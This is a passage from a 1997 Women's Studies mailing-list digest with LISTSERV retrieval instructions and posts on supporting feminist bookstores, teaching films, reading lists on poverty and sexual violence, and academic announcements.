[filename] SYLLABI (or replace SYLLABI w/FILM or WMSTBOOK as needed) If you are requesting a film review, be aware that the filename always takes the form FILM REVx (e.g., FILM REV25); the name of the film is NOT the filename! You can request more than one file at once; just be sure to put each request on a separate line. LISTSERV will then send the file(s) to you either in a mail message or in Netdata format. You can force LISTSERV to send them in a mail message by adding F=MAIL at the end of each command. For example, GET [filename] FILM F=MAIL . Or, to retrieve files sent by LISTSERV in Netdata format, follow these instructions: If your e-mail address is on a VAX/VMS machine, when you get a message that one or more files have arrived at your e-mail address, you should type ""RECEIVE *"" (do not include the quotation marks) at the $ prompt. This command will put the file(s) into your main directory. You can then type ""TYPE filename"" (replace ""filename"" with the actual name of the file) to read the file. If it's a long file, you can read it more effectively by typing ""TYPE/PAGE filename."" If your e-mail address is on an IBM VM/CMS machine, either use your mailer front end or type RLIST and RECEIVE the file into your FLIST. Go into your FLIST to look at the file. If your e-mail address is on a different kind of machine OR you are using Profs or some other kind of similar mailing system, go ahead and try the above commands. If they do not work, CALL YOUR COMPUTER SERVICES OFFICE. The people there should be able to help you and/or give you a manual for your mailing system commands. NOTE: Many WMST-L files (and a lot more!) are also available on the Women's Studies archive on InforM, the University of Maryland's Online Information Service. The URL is http://www.inform.umd.edu/EdRes/Topic/WomensStudies/ . If you don't have access to the Web, you can telnet to inform.umd.edu . Select Educational Resources, then Academic Resources by Topic, then Women's Studies Resources. InforM contains a goldmine of online information about women. Do have a look! ******************* Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Thu, 11 Dec 1997 09:21:36 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Kahn, Arnie"" Subject: Forward: Ordering books from feminist, women-owned, and independent bookstores MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I thought I'd say a few words about Jamie's comment on ordering books from feminist, women-owned, and independent bookstores. My partner and I own (and she runs) an independent bookstore. It is really helpful in the struggle against the major chains, which are forcing more and more independents to close down, to support your local bookstore. However, there are some limitations: 1. Warn students that unless the bookstore sells used books, they cannot return books to the independent bookstore at the end of the semester. 2. If possible, get a show of hands of how many students plan on actually purchasing the book. If you tell the bookstore you need 30 copies and only 15 students buy the book, the bookstore is stuck with extra inventory (and this is expensive). 3. Most independent bookstores cannot easily obtain textbooks. The distribution system for textbooks is different from that of other books. However, if you assign novels, writers like bell hooks, Listen Up, etc.., consider your feminist, woman-owned, or independent bookstore. 4. When you call the bookstore, ask to speak to the owner or manager. Tell that person which books you want to order (having the ISBN is handy but not essential) and how many copies you'll need. The owner will likely call you back to let you know of the book's availability. Arnie -- Arnie Kahn Day 540-568-3963 Night 540-434-0225 Fax 540-568-3322 kahnas@jmu.edu Dept. of Psych., James Madison U., Harrisonburg, VA 22807 ========================================================================= Date: Thu, 11 Dec 1997 10:20:07 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""DRA. Pattatucci"" Subject: Re: women's bookstores MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7bit Wm. W. Pendleton asks: "". . .to what extent should we compel students to by from one source, even when we regard the experience as valuable."" I'm sorry, but don't a majority of professors indirectly *compel* their students to buy from the campus bookstore and/or those close to the campus by virtue of providing those stores with advance notice of what texts they will be using for the coming semester? He further adds: ""If I pick a favorite cause and compel students to support it, is not everyone free to do the same?"" The issue here, as I see it, is not about supporting a ""cause"", but about supporting a community resource. Dra. Angela Pattatucci Universidad de Puerto Rico a_pattatucci@upr1.upr.clu.edu ========================================================================= Date: Thu, 11 Dec 1997 08:32:33 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Jane Olmsted Subject: Clotheslines I've used the film once, in a course title Women, Race, and Class, and though the film is limited in its analysis of how women of different racial groupings feel about washing, it is very good on women's perspectives across class lines. I'm not sure which course I would use it in now, either Intro or the feminist thought course would work--both would work I think because they allow viewers to think about this ""universal"" practice from so many different perspectives. Those who are critical of laundering for others as ""women's work"" because it is demeaning are challenged to recognize the beauty and sensual pleasure of clean sheets on a clothesline (e.g.). Those who see laundering uncritically as a loving care for family are challenged to see how very hated and painful it is for other women. . . . Basically it raises this convention, everyday practice as an important topic for analysis and musing. It allows young students a chance to put their own experience into a context with other women's and to see things ""in a new light."" I'd be tempted to show it in the section I do on ""Women and Work"" (currently I show the also excelled ""Fastfood Women,"" by Appalshop). Beyond these ideas, I'm sure there are many other ways to use this film (e.g., in a course on documentary or filmmaking!). best, jane jane.olmsted@wku.edu Western Kentucky University ========================================================================= Date: Thu, 11 Dec 1997 09:15:40 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: women's bookstores Comments: cc: seajay@dnai.com Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Thanks Jaime for bringing up this topic. As a feminist bookstore worker (Amazon Bookstore in Minneapolis), it's great to see y'all having this discussion. Though we've been trying to get the profs at U of Minn Women's Studies to order from us over the past several years (and a few individuals have -- thanks), we've only been REALLY successful in just the past six-months. We are not close to the university which is part of the problem. Here's what's made the difference to us: 1) an ally among the faculty who has made it a priority to support us and get the other profs in the department to do so as well 2) our willingness to take books TO THE CLASS! this is especially good for undergraduate intro classes that have 100+ students -- no need to for them to travel and alleviates issues of accessibility 3) with the assistance of the department chair and others at the university, we've been able to work out the details for students with vouchers 4) we've worked out a system for buying back used books -- similar to the one used by the university bookstore and modeled on what other feminist booktores (A Room of One's Own and Charis) have done 5) we don't jack up the prices - actually, I think our prices are competitive with the univ. bookstore. Though we might sometimes have to raise the prices slightly -- you probably don't realize that as soon as the PUBLISHER smells that the books are for a course they give much less discount to the retailer - I'm not sure why -- perhaps they think it's guaranteed sales. but a book that might typically get a 40% discount will only get a 20% discount if it's for a course, and we pay the freight which can be quite costly (to the point of eating up any kind of profit!). In general, most unversity presses give horrible discounts --it's almost as if they don't care if they sell the books! and the effort to order the books, receive them, get them organized for the courses is much more work than what we normally have to do. so don't feel ""ripped off"" by the bookstore -- we have our overhead to pay as well. 6) the sales we made to the university last semester basically SAVED our store from the downward spiral we've been experiencing. Without this suport, we'd be in pretty bad shape. I hesitate to say ""going to close"" but the reality is, that this shadow hangs over us every month. we won't say it until we're desparate -- we won't cry wolf. Coursebook sales help us considerably. We've been in business for 27+ years. We're well-managed and fiscally responsible. Our financial difficulties are based in industry trends where independents are suffering to the aggressiveness of the chains NOT in poor business behavior. We are constantly trying new things to stay fresh and interesting to a commmunity who'se support can sometimes be inconsistent. As teaching women's studies can be very political, so is it very political at what bookstore you decide to buy your books. Any place where there's a ""marketplace"" for ideas becomes threatened when those ideas are held in one place -- e.g. Barnes & Noble. It's a much larger issue than probably can be discussed here but one that needs to happen (Perhaps a forum at the next NWSA?). Its not only about buying coursebooks -- but I know there are MANY feminist profressors who don't shop for their books in feminist bookstores! even for their own interest or research -- while we often make the effort to get interesting academic stuff in the store. It's kind of like chicken and egg. Bookstores may have to make financial decisions not to stock expensive academic books because no one's buying them -- and then when profs finally decide to come into the store they complain because the academic books are not there! And there's LOTS of interesting books from small women's presses that are generally not stocked in chain stores that we DO stock that never get seen because profs don't come to find them. I suggest that profs in community's where there are womens bookstores should have some kind of living room conversation about how to approach these problems. unlike your local B&N -- where book buying is done from a national office with little respect for local commnuuity -- most women's bookstore ARE receptive and responsive to their local communities and will be very interested in having serious conversations with people about what to stock. That's enough from me for now. I'm happy to answer questions and make suggestions. Mev PS - I am forwarding this message to the feminist bookstores network list so that women's bookstores can have these conversations with profs in their local communities. ========================================================================= Date: Thu, 11 Dec 1997 09:58:30 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Robert Jensen Subject: Re: sex offenders as men w/""normal"" personalities Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >She would like to investigate the claim that such men are ""not insane but >are generally men who have 'normal' [for our culture, at least] sexual >personalities."" i would recommend andrea dworkin's INTERCOURSE, especially chapter 5, ""possession."" also, an article of mine, ""patriarchal sex,"" in INTERNATIONAL JOURNAL OF SOCIOLOGY AND SOCIAL POLICY, Vol. 17, #1-2, January 1997, pp. 91-115. for more empirical work on rapists, diana scully, UNDERSTANDING SEXUAL VIOLENCE. bob jensen ------------------------- Robert Jensen Department of Journalism University of Texas Austin, TX 78712 rjensen@uts.cc.utexas.edu office: (512) 471-1990 fax: (512) 471-7979 ------------------------- ========================================================================= Date: Thu, 11 Dec 1997 08:29:40 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: films In-Reply-To: <9711118818.AA881857778@INETGW.WKU.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On the theme of films about women and work: can anyone recommend a good film relevent to demystifying recent ""welfare reform""? thanks, Kathy Miriam kmiriam@cats.ucsc.edu ========================================================================= Date: Thu, 11 Dec 1997 08:32:11 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: readings on poverty In-Reply-To: <9711118818.AA881857778@INETGW.WKU.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for a text with the same force as Women, Poverty and the American Dream (might be wrong title?), but updated... to use in an intro women's studies class. or, materials that will help update the former. thanks in advance, Kathy Miriam kmiriam@cats.ucsc.edu ========================================================================= Date: Thu, 11 Dec 1997 12:29:26 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: courtney sears Subject: visiting scholar position Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Please pass this information along to anyone you know of who may be interested. Visiting Professorship in Women's Studies University of Cincinnati The Center for Women's Studies at the University of Cincinnati (UC) announces its annual Visiting Professorship in Women's Studies. Applicants' area of research should focus on the intersections of science and social formations such as race/ethnicity, class, gender and sexuality. Applicants must have a Ph.D. or equivalent, and relevant research and teaching experience. Applicants from all disciplinary backgrounds are welcome to apply; we especially encourage scholars from the Philosophy of Science, the Physical, and/or Mathematical Sciences. The successful candidate will spend a 10-week quarter at UC teaching one course and giving several public presentations. Candidates may apply for fall (September-December), winter (January-March) or spring (April-June) quarter. $18,000 for the quarter will cover salary, housing, and travel. Please send a letter of intent which includes a description of the course you would offer, a vita, two letters of recommendation, and one sample of written work preferably from a published source. Please send requested information by February 15, 1998, to: Catherine Raissiguier, Associate Director Center for Women's Studies University of Cincinnati Cincinnati, OH 45221-0164 Phone: (513) 556-6651/ Fax: (513) 556-6771 catherine.raissiguier@uc.edu The University of Cincinnati, a state university, is an urban institution with an enrollment of 36,000. The Center for Women's Studies at UC is one of the oldest women's studies programs, with a faculty of over 75 who teach in 10 of the University's 18 colleges. The Center offers an undergraduate and a graduate certificate, a Master's , and a joint JD/MA degree in Women's Studies. For more information visit our web site at http://ucaswww.mcm.uc.edu/womens_studies/ The University of Cincinnati is an affirmative action/equal opportunity institution. Courtney Sears Center for Women's Studies University of Cincinnati searscy@email.uc.edu ========================================================================= Date: Thu, 11 Dec 1997 12:19:17 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Yukiko Hanawa Subject: Re: readings on poverty In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 11 Dec 1997, Kathy Miriam wrote: > I am looking for a text with the same force as Women, Poverty and the > American Dream (might be wrong title?), but updated... > to use in an intro women's studies class. or, materials that will help > update the former. > thanks in advance, > > Kathy Miriam > kmiriam@cats.ucsc.edu > You might find the most recent issue of RADICAL HISTORY REVIEW, special issue on ""culture of poverty"" of interest. Like always, RHR has a section on teaching that includes course outlines with all relevant readings (and the original sources to make it accessible), as well as exposition on the ways in which the course is conceived. Yukiko Hanawa Asian Studies Cornell University yh40@cornell.edu ========================================================================= Date: Thu, 11 Dec 1997 13:14:35 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: the Cheshire Cat Subject: Re: women's bookstores In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Given that we are talking, for the most part, about women's studies courses it *is* sensible, and good for the students' intellectual development to send them to feminist bookstores -if one was teaching a course on comparative religion, it might make sense to send them to a Jewish and Christian bookstore (or whatever religions one was teaching about). Still, I don't see any real difficulty with ordering the books through the feminist bookstores, sending the students to them, and also ordering a *few* from the regular bookstores, so that those who need to go there for whatever personal reasons, can be directed there when they come to the teacher to say so. I'd like to point out, that in my graduate and undergraduate studies, I had several teachers who ordered books through other bookstores than the University monopoly one, and I only loved them for it. I also had professors who assumed that the class was small enough (with small seminars of course) that they didn't need to order the books at all, and recommended the library, local bookstores and photocopying (for articles) or some combination thereof. In any case, this isn't a matter of simply being someone's ""pet cause,"" and to me, it seems trivializing to label it so. Alana Suskin alanacat@wam.umd.edu On Wed, 10 Dec 1997, William W. Pendleton wrote: > > The moral issue seems to me to be to what extent should we compel > students to by from one source, even when we regard the experience as > valuable. I make my selections of texts available widely so that sources > can compete--perhaps by price--for the students' custom. Even though I > thought it might be educational for them to visit a Christian or Right > Wing or Left Wing bookstore, I would make that a separate assignment, not > a necessary spending to support a cause. There is here a slippery slope > into which faculty should not move. If I pick a favorite cause and > compel students to support it, is not everyone free to do the same? > Would the result of such choices be good for the intellectual > development of the students? > > Wm W. Pendleton > Department of Sociology > Emory University > Atlanta, Ga. 30322 > socwwp@emory.edu > 404 727-7524 > Yallah bye, Alana Suskin ========================================================================= Date: Thu, 11 Dec 1997 12:56:04 -0600 Reply-To: stienstr@uwinnipeg.ca Sender: Women's Studies List From: ""D. Stienstra"" Organization: University of Winnipeg Subject: Feminist Workshops on 350th anniversary of Westphalia: Call for Papers MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable > International Conference > The 350th Anniversary of the > Peace of Westphalia > 1648-1998 >=20 > ""From Pragmatic Solution to Global Structure"" >=20 > M=FCnster, 16-19 July 1998 >=20 > organized by > the European Peace Research Association (EuPRA) > the Institute of Political Science, Westf=E4lische Wilhelms-Universit=E4= t > M=FCnster (Germany) > the Faculty of Public Administration and Public Policy, University of > Twente (The Netherlands) >=20 > Call for Papers & Registration >=20 > The deadline for the submission of paper proposals is 1 February 1998. > The four-day conference will be organized in workshops. The working > language will be English. The workshop convenors welcome paper proposal= s > related to the topics mentioned in the workshop outlines (see below). > The submitted papers as well as commissioned papers will be sent in > advance to the workshop participants. Other papers may be postered and > distributed among the workshop participants. Based on a selection of th= e > papers, the convenors and an editorial committee will publish a series > of books, called The M=FCnster Papers. (for a description of the progra= m, > please see: http://www.bsk.utwente.nl/1648) >=20 > Workshops related to Gender and/or Feminist Analyses: > WS 4 Gendered States > Historical and theoretical perspectives on domestic structures >=20 > WS 5 Towards a Feminist Critique of the Interstate System > Historical and theoretical perspectives on international structures >=20 > WS 16 Rethinking concepts of peace from a feminist perspective >=20 > Workshop themes elaborated: >=20 > WS 4 Gendered States > Historical and theoretical perspectives on domestic structures > convenors: Prof. Dr. Eva Kreisky (University of Vienna, Austria) > Dr. Birgit Sauer (University of Vienna, Austria) > outline:Modern nation-states combined capitalistic production and > reproduction and created a gender-specific social order and political > structure. The hegemonic political model of the territorial state and > the social model of a hierachical construction of two genders were > optimal conditions for the formation of the middle class as well as the > accumulation of capital. Nation-states and the binary construction of > gender thus developed in an equivalent relation: hegemonic gender > relations became constitutive both for state `hardware' - i.e. the > institutional structure - and the `software' - the political process. > This workshop asks which institutions, processes and discourses, as wel= l > as cultural and symbolic practices accompanied the emergence and > transformation of `gendered states'. In which way is masculinity > privileged in and by the state, while femininity is devaluated? Is the > gender codification of state structures disintegrating in the course of > the erosion of nation-states at the end of the twentieth century or wil= l > new forms of masculinization and feminization emerge? (Working language= s > of this workshop will be English and German.) >=20 > WS 5 Towards a Feminist Critique of the Interstate System > Historical and theoretical perspectives on international structures > convenors: Dr. Deborah Stienstra (University of Winnipeg, Canada), > Dr. Elisabeth Prugl (Florida International University, USA) > outline: The interstate system has been created over time, in response > to agreed upon norms or standards. These provide the basis for > international organizations and global governance. The norms or > standards reflect existing power relations both between states and in > global civil society, based in gender, race, ethnicity and class. This > workshop will explore the ways in which the existing interstate system > has reinforced and maintained these intersecting power relations throug= h > its institutions, practices and policies, both historically and in the > present. We will examine the > challenges to these practices by social movements. The workshop will > also explore how our theoretical analyses of the interstate system hav= e > supported the gendered nature of these institutions and how feminist > approaches provide alternative perspectives on the interstate system. >=20 > WS 16 Rethinking Concepts of Peace from a Feminist Perspective > convenor:Dr. Uta Klein (Westf=E4lische Wilhelms-Universit=E4t M=FCnste= r, > Germany) > outline: Seen from a feminist perspective, current discussions of peac= e > and war must be expanded and reconceived. Feminist approaches address > questions of intrapersonal violence, interpersonal violence, overt and > hidden institutional structural violence. In this workshop, gendered > dimensions of war, militarism, and peace will be discussed. > Contributions, beyond essentialist analyses, should address aspects of > ethnicity, citizenship, historical context, policy making, war culture, > and derive from conceptual and empirical research. >=20 > Conference Information > The conference can host a maximum of 500 participants. The EARLY > REGISTRATION FEE > is 180 DM standard, or 100 DM for participants from non-OECD countries > (plus Hungary & Poland), junior research fellows and post-graduate > students. The Early Registration Fee is valid until 1 February 1998. > Registration after that date will cost 220 DM standard and 140 DM > reduced rate. A limited number of participants from non-OECD countries > (plus Hungary & Poland) can be granted participation, travel and > accommodation grants. Upon registration, you will receive further > information about the payment of the participation fee and options for > grant applications. >=20 > Hotel accommodations will be available from approximately 70 DM per > night. M=FCnster has international train connections from all major > European cities (via Cologne or D=FCsseldorf). The nearest internationa= l > airports are M=FCnster/Osnabr=FCck and D=FCsseldorf. Upon registration,= you > will receive further information on transportation and accommodation. >=20 > For further information and registration details, contact: >=20 > European Peace Research Association (EuPRA) > Dr Jaap H. de Wilde > Department of Political Science > University of Twente > P.O. Box 217 > 7500 AE Enschede > The Netherlands >=20 > fax: + 31 53 489 4734 >=20 > email: j.h.dewilde@bsk.utwente.nl >=20 > internet: http://www.bsk.utwente.nl/1648 >=20 --=20 Deborah Stienstra Associate Professor Department of Political Science University of Winnipeg ========================================================================= Date: Thu, 11 Dec 1997 22:20:00 +0100 Reply-To: thomasg@ifi.uio.no Sender: Women's Studies List From: Thomas Gramstad Subject: Androgyny & Gender Dialectics page My new Androgyny & Gender Dialectics page is at: http://www.math.uio.no/~thomas/gnd/androgyny.html Thomas Gramstad thomasg@ifi.uio.no ========================================================================= Date: Thu, 11 Dec 1997 14:46:24 PST Reply-To: Women's Studies List Sender: Women's Studies List From: Johanna Brenner Organization: Portland State University Subject: Re: readings on poverty MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT > I am looking for a text with the same force as Women, Poverty and the > American Dream (might be wrong title?), but updated... > to use in an intro women's studies class. Theresa Amott: Caught in the Crisis: Women and the Economy, Monthly Review Press or, materials that will help War on the Poor: A Defense Manual, Nancy Folbre, New Press has great graphics and punchy, easy to understand text > update the former. > thanks in advance, > > Kathy Miriam > kmiriam@cats.ucsc.edu > ========================================================================= Date: Thu, 11 Dec 1997 18:37:56 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: sex offenders as men w/""normal"" personalities Comments: To: Mary Elizabeth Seetch In-Reply-To: <55910.SEETCHM@lafvax.lafayette.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hypathia had a special issue focused on Peace which included several articles on rape and a culture of rape. Peace, jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Thu, 11 Dec 1997 19:45:52 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Batya Weinbaum Subject: female economist search Joan: Please post. This came back for some reason. Thanks. From : Batyawein@AOL.COM (Batya Weinbaum) > The question about where to post the women's studies/economics job: Union for Radical Political Economics is an organization that has a journal. Many > women economists that are in training particpate there. The economics > department at the New Schoool for Social Research in NYC used to be a hot bed > of URPERS, including feminist ones. Batya Weinbaum VT batyawein@aol.com ========================================================================= Date: Thu, 11 Dec 1997 20:04:14 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Rachel Youdelman Subject: Re sex offenders as men w/""normal"" personalities Several books with information on sex offenders as men w/""normal"" personalities are 1. ""Sexual Violence"" by Linda A. Fairstein (1993 Wm Morrow & Co New York) 2. ""Boys Will Be Boys: Breaking the Link Between Masculinity and Violence"" by Myriam Miedzian (1991 Anchor Books/Doubleday New York) 3. ""Men Are Not Cost-Effective"" by June Stephenson (1995 Harper Perennial New York) 4. ""Why Men Hate Women"" by Adam Jukes (1993 Free Association Books, London) Rachel Youdelman RYoudelman@aol.com <<... would like to investigate the claim that such men are ""not insane but are generally men who have 'normal' [for our culture, at least] sexual personalities."" Can anyone direct her to studies or other publications that might illuminate this claim? (which she has derived to a great extent from Susan Griffin's ""Rape: The All-American Crime"") Beth Seetch seetchm@lafayette.edu>> ========================================================================= Date: Thu, 11 Dec 1997 22:40:04 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: feminist bookstores Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit I don't know who began this ""conversation,"" but I am thrilled to have it appearing on this list, for I've been somewhat depressed about the male- centered news in the daily paper, including the big feature reporting 35,000 or more polygamous Mormon families, as well as the smaller feature on the importance of the Beats to the male young (and you know of course how sexist that fifties movement was). As if that were not enough, the annual contest re most popular movie star was reported also in the today-s NYT, with the first 22 places going to MEN, and with the first woman mentioned as number 23. So, yes, it's heartening to me to hear these voices of women's studies faculty calling for support for feminist bookstores. And I know you are not forgetting feminist presses either. One of our staff members has written a short page that we are going to distribute at the upcoming MLA conference in Toronto, urging faculty to consider small presses and independent bookstores when thinking about texts for their courses, and trying to order books rather than coursepacks for students. As soon as I can learn to download, I will try to put this on our list. For now, thank you, list readers and writers. >From Florence Howe, for The Feminist Press at CUNY (still unwired, still waiting for City College folk to finish the job). Fax: 212-650-8893. Or Florence's e-mail: florench@aol.com ========================================================================= Date: Fri, 12 Dec 1997 04:21:00 PST Reply-To: Women's Studies List Sender: Women's Studies List From: ""Saad, Shahnaz"" Subject: Re: Re sex offenders as men w/""normal"" personalities You might check out Our Guys by Lefkowitz. It is a documentary account of a teenage girl with mental retardation who was gang raped by several high school athletes. The author's research was guided by the question of how such ""normal"" boys could commit such a crime. It is a well-written and gripping, depressing and angering book. S. Chris Saad, PhD (ssaad@wcupa.edu) ---------- <<... would like to investigate the claim that such men are ""not insane but are generally men who have 'normal' [for our culture, at least] sexual personalities."" Beth Seetch seetchm@lafayette.edu>> ========================================================================= Date: Fri, 12 Dec 1997 07:12:58 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: WMST-L announcement policy (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: WMST-L welcomes the posting of job and conference announcements, calls for papers, and the like, as long as the announcement has some explicit connection to Women's Studies. Announcements without such a connection should NOT be sent to WMST-L. The wish to reach more female candidates, however laudable, is NOT adequate reason to post non-Women's-Studies announcements. Heavy mail volume is a persistent problem on WMST-L; the list cannot accommodate the increased volume that a more liberal posting policy would bring. (Keep in mind that each year, there are literally thousands of academic job openings. Most institutions wish to show that they have tried to reach female and minority applicants. Whereas some commercial publications charge hundreds of dollars to carry even a small ad, WMST-L is free. Thus, unless we restrict postings, the list is likely to be INUNDATED with job announcements.) ************************ Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Fri, 12 Dec 1997 07:52:41 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: hagolem Subject: Re: Re sex offenders as men w/""normal"" personalities Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 04:21 AM 12/12/97 PST, you wrote: >You might check out Our Guys by Lefkowitz. It is a documentary account of a >teenage girl with mental retardation who was gang raped by several high >school athletes. The author's research was guided by the question of how >such ""normal"" boys could commit such a crime. It is a well-written and >gripping, depressing and angering book. > >S. Chris Saad, PhD >(ssaad@wcupa.edu) Seconnd that recommendation. It has a very good analysis of the culture of jockery that meant that these ordinary boys could do not wrong and that they were the icons of their school and their community. Also good for looking at emotional effects of marginalization. marge piercy hagolem@capecod.net ========================================================================= Date: Fri, 12 Dec 1997 10:23:31 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Anderson Subject: mental/emotional ""disorders"" in women In-Reply-To: <01IR2TECFX2A0001WH@UMBC2.UMBC.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" am looking for recommendations of good books/articles, preferably autobiographical, by women/feminists/lesbians on experience with clinical depression, bi-polar disorder, borderline personality, schizophrenia, obsession-compulsion, anxiety/panic, etc. please respond privately. thank you. * * * * * * * * * * * * * * * * * * * * * * * * Linda L. Anderson tel: 203/432-0845 Women's Studies Program fax: 203/432-8475 Yale University email: linda.anderson@yale.edu P.O. Box 208319, 315 WLH New Haven, CT 06520-8319 ========================================================================= Date: Fri, 12 Dec 1997 08:59:57 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Evelyn A. Schlatter"" Subject: looking for Reina Pennington MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Greetings, all-- I'm trying to track down Reina Pennington at, I believe, the University of North Carolina. Reina, if you're on this list, could you give me a buzz ASAP? It's regarding the AHA. Thanks. Evelyn A. Schlatter Dept. of History Univ. of New Mexico evsch@unm.edu ========================================================================= Date: Fri, 12 Dec 1997 10:43:11 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: sasha Subject: Re: mental/emotional ""disorders"" in women MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Linda Anderson wrote: > am looking for recommendations of good books/articles, preferably > autobiographical, by women/feminists/lesbians on experience with clinical > depression, bi-polar disorder, borderline personality, schizophrenia, > obsession-compulsion, anxiety/panic, etc. > > please respond privately. thank you. I would also appreciate titles on these subjects. I am currently organizing two initiatives for which I need bibliographies. The first is the development of a resource centre at our mental health rights coaltion and the second is the development of a bibliography for a new list for Women Who (experience mood swings, fear, voices and visions). The list is called Madgrrls and can be found under the Madnation site at: http://www.madnation.org/madness.htm I'm looking for biography, autobiography, fiction, non-fiction, poetry. Thanks so much for your help. You can e-mail me privately, if you wish, at: sasha@worldchat.com Sasha McInnes Hamilton, Ontario > ========================================================================= Date: Fri, 12 Dec 1997 19:26:19 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Dina Haruvi Subject: Re: mother daughter relations In-Reply-To: <01I59YK83C3W002WSN@UMBC2.UMBC.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, I remember a long discussion about mother daughter relations with some reading suggestions (a biliography) I tried the index file of wmst but could not find such a subject.. can you help? thanks dina ========================================================================= Date: Fri, 12 Dec 1997 12:50:30 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Ileneros Organization: AOL (http://www.aol.com) Subject: Re: looking for Reina Pennington Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Try her on the Minerva Listserv minerva@ aol.com ========================================================================= Date: Fri, 12 Dec 1997 11:10:25 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Max Dashu Subject: Re: women's bookstores Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >Wm. W. Pendleton asks: "". . .to what extent should we compel students to >by from one source, even when we regard the experience as valuable."" > >I'm sorry, but don't a majority of professors indirectly *compel* their >students to buy from the campus bookstore and/or those close to the campus >by virtue of providing those stores with advance notice of what texts they >will be using for the coming semester? I would add that independents are important to keeping a wide variety of books available, and helping small publishers stay alive in the growing climate of megamonopoly. Women's bookstores were the first base for publishers of feminist books, which now have attained a much wider base--but that could change again. It's crucial to keep that base alive, to support it. If Mr. Pendleton dismisses that as ideological, so was the previous situation, where feminist scholarship was effectively marginalized and kept off the bookshelves. Max Dashu Suppressed Histories Archives email: maxdashu@lanminds.com PO Box 3511 Oakland CA 94609 USA >>>International Women's Studies, founded 1970<<< ========================================================================= Date: Fri, 12 Dec 1997 14:28:43 -0500 Reply-To: Diane Lowe Fowlkes Sender: Women's Studies List From: Diane Lowe Fowlkes Subject: Women's Studies Institute, Georgia State University, New Webpage MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII We are pleased to announce that our webpage is finally up. The address is http://www.gsu.edu/womenpower The site was constructed by one of our students, Karen Jones. We hired her to learn how to construct a webpage and to construct the page. Thus, she gained a new skill and we gained a great webpage! At the bottom of the homepage, you will find ""constructed by Karen Jones for Women's Studies Institute"" If you click on Women's Studies Institute, you will get a form in which to send us a message. We hope you will visit, send students interested in studying women's studies at GSU (Bachelor of Interdisciplinary Studies, Master of Arts) and generally enjoy. Happy Holidays, Diane L. Fowlkes Director Women's Studies Institute Georgia State University Atlanta, GA 30303 wsidlf@panther.gsu.edu ========================================================================= Date: Fri, 12 Dec 1997 13:08:38 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Lisa McGowan Subject: Feminist Bookstores Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" It's great to see this 